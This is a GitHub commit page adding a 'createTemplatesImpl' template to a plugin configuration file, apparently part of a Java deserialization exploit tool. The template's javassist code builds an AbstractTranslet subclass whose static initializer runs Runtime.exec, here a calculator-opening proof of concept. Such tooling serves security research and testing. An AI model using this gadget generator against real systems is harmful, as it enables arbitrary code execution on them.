Skip to content

Commit

Permalink
在模版中添加新的createTemplatesImpl
Browse files Browse the repository at this point in the history
  • Loading branch information
yulate committed Sep 29, 2024
1 parent 83c3747 commit d5c1130
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions src/main/resources/plugin_config.json
Original file line number Diff line number Diff line change
Expand Up @@ -107,6 +107,28 @@
"version": "3.29.0-GA"
}
]
},
{
"name": "createTemplatesImpl base",
"code": " public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {\n ClassPool classPool = ClassPool.getDefault();\n // 生成一个随机的类名\n String randomClassName = \"Test_\" + UUID.randomUUID().toString().replace(\"-\", \"\");\n CtClass ctClass = classPool.makeClass(randomClassName);\n ctClass.setSuperclass(classPool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"));\n String block = \"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");\";\n ctClass.makeClassInitializer().insertBefore(block);\n return ctClass.toBytecode();\n }",
"imports": [
"javassist.ClassPool",
"javassist.CtClass",
"java.io.IOException",
"java.io.ByteArrayOutputStream",
"javassist.CannotCompileException",
"javassist.NotFoundException",
"java.lang.reflect.Field",
"javassist.ClassClassPath",
"java.util.UUID"
],
"mavenDependencies": [
{
"groupId": "org.javassist",
"artifactId": "javassist",
"version": "3.29.0-GA"
}
]
}
]
}
Expand Down

0 comments on commit d5c1130

Please sign in to comment.